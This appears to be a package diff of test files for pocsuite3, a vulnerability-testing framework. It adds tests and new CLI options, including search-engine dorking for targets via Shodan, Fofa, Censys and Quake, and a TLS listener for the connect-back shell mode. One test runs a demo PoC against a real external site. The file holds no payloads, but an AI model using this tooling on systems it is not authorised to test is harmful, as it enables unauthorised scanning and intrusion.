pocsuite3-1.8.10/tests/test_check_install_requires.py --- pocsuite3-1.7.7/tests/test_check_install_requires.py 1970-01-01 00:00:00.000000000 +0000 +++ pocsuite3-1.8.10/tests/test_check_install_requires.py 2022-01-10 22:07:00.000000000 +0000 @@ -0,0 +1,48 @@ +import unittest +from pocsuite3.lib.core.register import PocLoader + + +class TestCase(unittest.TestCase): + def setUp(self): + pass + + def test_module_is_none(self): + p = PocLoader('testcase', 'testcase') + p.set_data('''install_requires = ['', ""]''') + p.check_requires(p.data) + + def test_built_in_module(self): + p = PocLoader('testcase', 'testcase') + p.set_data('''install_requires = ['os', 'sys']''') + p.check_requires(p.data) + + def test_normal_module(self): + p = PocLoader('testcase', 'testcase') + p.set_data('''install_requires = ['setuptools']''') + p.check_requires(p.data) + + def test_module_include_version(self): + p = PocLoader('testcase', 'testcase') + p.set_data('''install_requires = ['setuptools==51.1.2']''') + p.check_requires(p.data) + + p.set_data('''install_requires = ['setuptools~=51.1.2']''') + p.check_requires(p.data) + + p.set_data('''install_requires = ['setuptools>=51.1.2']''') + p.check_requires(p.data) + + p.set_data('''install_requires = ['setuptools<=51.1.2']''') + p.check_requires(p.data) + + def test_import_name_and_install_name_are_inconsistent(self): + p = PocLoader('testcase', 'testcase') + p.set_data('''install_requires = ['BeautifulSoup4>=4.9.1:bs4']''') + try: + p.check_requires(p.data) + except SystemExit: + pass + + +if __name__ == '__main__': + unittest.main() diff -Nru pocsuite3-1.7.7/tests/test_cmd_diy_options.py pocsuite3-1.8.10/tests/test_cmd_diy_options.py --- pocsuite3-1.7.7/tests/test_cmd_diy_options.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/tests/test_cmd_diy_options.py 2022-01-10 22:07:00.000000000 +0000 @@ -22,7 +22,10 @@ eval_path = os.path.join(path, "../pocsuite3/cli.py") poc_path = os.path.join(path, "login_demo.py") - command = '''python3 {0} -u http://www.baidu.com -r {1} --verify -v 2 --password mypass123 --username "asd asd" --testt abctest'''.format( - eval_path, poc_path) + command = ( + f'python3 {eval_path} -u http://www.baidu.com -r {poc_path} --verify -v 2 --password mypass123 ' + '--username "asd asd" --testt abctest' + ) pipeline = os.popen(command) - self.assertTrue('1 / 1' in pipeline.read()) + res = pipeline.buffer.read().decode('utf-8') + self.assertTrue('1 / 1' in res) diff -Nru pocsuite3-1.7.7/tests/test_configfile.py pocsuite3-1.8.10/tests/test_configfile.py --- pocsuite3-1.7.7/tests/test_configfile.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/tests/test_configfile.py 2022-01-10 22:07:00.000000000 +0000 @@ -37,7 +37,8 @@ target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") target.add_option("-f", "--file", dest="url_file", help="Scan multiple targets given in a textual file") - target.add_option("-r", dest="poc", help="Load POC file from local or remote from seebug website") + target.add_option("-r", dest="poc", help="Load PoC file from local or remote from seebug website") + target.add_option("-k", dest="poc_keyword", help="Filter PoC by keyword, e.g. ecshop") target.add_option("-c", dest="configFile", help="Load options from a configuration INI file") # Mode options @@ -55,37 +56,59 @@ request.add_option("--cookie", dest="cookie", help="HTTP Cookie header value") request.add_option("--host", dest="host", help="HTTP Host header value") request.add_option("--referer", dest="referer", help="HTTP Referer header value") - request.add_option("--user-agent", dest="agent", help="HTTP User-Agent header value") - request.add_option("--random-agent", dest="random_agent", action="store_true", default=False, - help="Use randomly selected HTTP User-Agent header value") + request.add_option("--user-agent", dest="agent", help="HTTP User-Agent header value (default random)") request.add_option("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") request.add_option("--proxy-cred", dest="proxy_cred", help="Proxy authentication credentials (name:password)") request.add_option("--timeout", dest="timeout", help="Seconds to wait before timeout connection (default 30)") - request.add_option("--retry", dest="retry", default=False, help="Time out retrials times.") + request.add_option("--retry", dest="retry", default=False, help="Time out retrials times") request.add_option("--delay", dest="delay", help="Delay between two request of one thread") request.add_option("--headers", dest="headers", help="Extra headers (e.g. \"key1: value1\\nkey2: value2\")") # Account options account = OptionGroup(parser, "Account", "Telnet404 account options") account.add_option("--login-user", dest="login_user", help="Telnet404 login user") account.add_option("--login-pass", dest="login_pass", help="Telnet404 login password") + account.add_option("--shodan-token", dest="shodan_token", help="Shodan token") + account.add_option("--fofa-user", dest="fofa_user", help="fofa user") + account.add_option("--fofa-token", dest="fofa_token", help="fofa token") + account.add_option("--quake-token", dest="quake_token", help="quake token") + account.add_option("--censys-uid", dest="censys_uid", help="Censys uid") + account.add_option("--censys-secret", dest="censys_secret", help="Censys secret") # Modules options modules = OptionGroup(parser, "Modules", "Modules(Seebug Zoomeye CEye Listener) options") modules.add_option("--dork", dest="dork", action="store", default=None, - help="Zoomeye dork used for search.") + help="Zoomeye dork used for search") + modules.add_option("--dork-zoomeye", dest="dork_zoomeye", action="store", default=None, + help="Zoomeye dork used for search") + modules.add_option("--dork-shodan", dest="dork_shodan", action="store", default=None, + help="Shodan dork used for search") + modules.add_option("--dork-censys", dest="dork_censys", action="store", default=None, + help="Censys dork used for search") + modules.add_option("--dork-fofa", dest="dork_fofa", action="store", default=None, + help="Fofa dork used for search") + modules.add_option("--dork-quake", dest="dork_quake", action="store", default=None, + help="Quake dork used for search") modules.add_option("--max-page", dest="max_page", type=int, default=1, - help="Max page used in ZoomEye API(10 targets/Page).") + help="Max page used in search API") modules.add_option("--search-type", dest="search_type", action="store", default='host', help="search type used in ZoomEye API, web or host") modules.add_option("--vul-keyword", dest="vul_keyword", action="store", default=None, - help="Seebug keyword used for search.") + help="Seebug keyword used for search") modules.add_option("--ssv-id", dest="ssvid", action="store", default=None, - help="Seebug SSVID number for target PoC.") + help="Seebug SSVID number for target PoC") modules.add_option("--lhost", dest="connect_back_host", action="store", default=None, help="Connect back host for target PoC in shell mode") modules.add_option("--lport", dest="connect_back_port", action="store", default=None, help="Connect back port for target PoC in shell mode") + modules.add_option("--tls", dest="enable_tls_listener", action="store_true", default=False, + help="Enable TLS listener in shell mode") + modules.add_option("--comparison", dest="comparison", help="Compare popular web search engines", + action="store_true", + default=False) + modules.add_option("--dork-b64", dest="dork_b64", help="Whether dork is in base64 format", + action="store_true", + default=False) # Optimization options optimization = OptionGroup(parser, "Optimization", "Optimization options") @@ -96,14 +119,26 @@ optimization.add_option("--threads", dest="threads", type=int, default=1, help="Max number of concurrent network requests (default 1)") optimization.add_option("--batch", dest="batch", - help="Automatically choose defaut choice without asking.") + help="Automatically choose defaut choice without asking") optimization.add_option("--requires", dest="check_requires", action="store_true", default=False, help="Check install_requires") optimization.add_option("--quiet", dest="quiet", action="store_true", default=False, - help="Activate quiet mode, working without logger.") + help="Activate quiet mode, working without logger") + optimization.add_option("--ppt", dest="ppt", action="store_true", default=False, + help="Hiden sensitive information when published to the network") + optimization.add_option("--pcap", dest="pcap", action="store_true", default=False, + help="use scapy capture flow") + optimization.add_option("--rule", dest="rule", action="store_true", default=False, + help="export suricata rules, default export reqeust and response") + optimization.add_option("--rule-req", dest="rule_req", action="store_true", default=False, + help="only export request rule") + optimization.add_option("--rule-filename", dest="rule_filename", action="store", default=False, + help="Specify the name of the export rule file") # Diy options diy_options = OptionGroup(parser, "Poc options", "definition options for PoC") + diy_options.add_option("--options", dest="show_options", action="store_true", default=False, + help="Show all definition options") parser.add_option_group(target) parser.add_option_group(mode) @@ -119,7 +154,7 @@ d = parser.__dict__ optiondict = {} for group in d["option_groups"]: - desc = group.description + # desc = group.description title = group.title # print(desc, title) # config.add_section("; " + desc) diff -Nru pocsuite3-1.7.7/tests/test_httpserver.py pocsuite3-1.8.10/tests/test_httpserver.py --- pocsuite3-1.7.7/tests/test_httpserver.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/tests/test_httpserver.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,9 +1,9 @@ -#!usr/bin/env python +#!usr/bin/env python # -*- coding:utf-8 -*- -""" +""" @author: longofo -@file: test_httpserver.py -@time: 2019/03/31 +@file: test_httpserver.py +@time: 2019/03/31 """ import unittest import warnings @@ -56,6 +56,7 @@ finally: httpd.stop() + @unittest.skip(reason='disable ipv6') def test_ipv6(self): try: logger.info('Test http server in ipv6') @@ -88,6 +89,7 @@ finally: httpd.stop() + @unittest.skip(reason='disable ipv6') def test_ipv6_https(self): try: logger.info('Test https server in ipv6') diff -Nru pocsuite3-1.7.7/tests/test_interactsh_module.py pocsuite3-1.8.10/tests/test_interactsh_module.py --- pocsuite3-1.7.7/tests/test_interactsh_module.py 1970-01-01 00:00:00.000000000 +0000 +++ pocsuite3-1.8.10/tests/test_interactsh_module.py 2022-01-10 22:07:00.000000000 +0000 @@ -0,0 +1,24 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import unittest +from pocsuite3.api import Interactsh, requests + + +class TestCase(unittest.TestCase): + def setUp(self): + pass + + def tearDown(self): + pass + + @unittest.skip(reason='interactsh service is unstable') + def test_interactsh(self): + ISH = Interactsh(token="", server="") + url, flag = ISH.build_request(method='https') + requests.get(url, timeout=5, verify=False) + self.assertTrue(ISH.verify(flag)) + + +if __name__ == '__main__': + unittest.main() diff -Nru pocsuite3-1.7.7/tests/test_show_poc_options.py pocsuite3-1.8.10/tests/test_show_poc_options.py --- pocsuite3-1.7.7/tests/test_show_poc_options.py 1970-01-01 00:00:00.000000000 +0000 +++ pocsuite3-1.8.10/tests/test_show_poc_options.py 2022-01-10 22:07:00.000000000 +0000 @@ -0,0 +1,23 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +import os +import unittest + + +class TestCase(unittest.TestCase): + def setUp(self): + pass + + def tearDown(self): + pass + + def verify_result(self): + pass + + def test_cmd_run(self): + pipeline = os.popen('pocsuite -k ecshop --options') + + # os.popen default encoding may not be utf-8 + res = pipeline.buffer.read().decode('utf-8') + + self.assertTrue('You can select dict_keys' in res)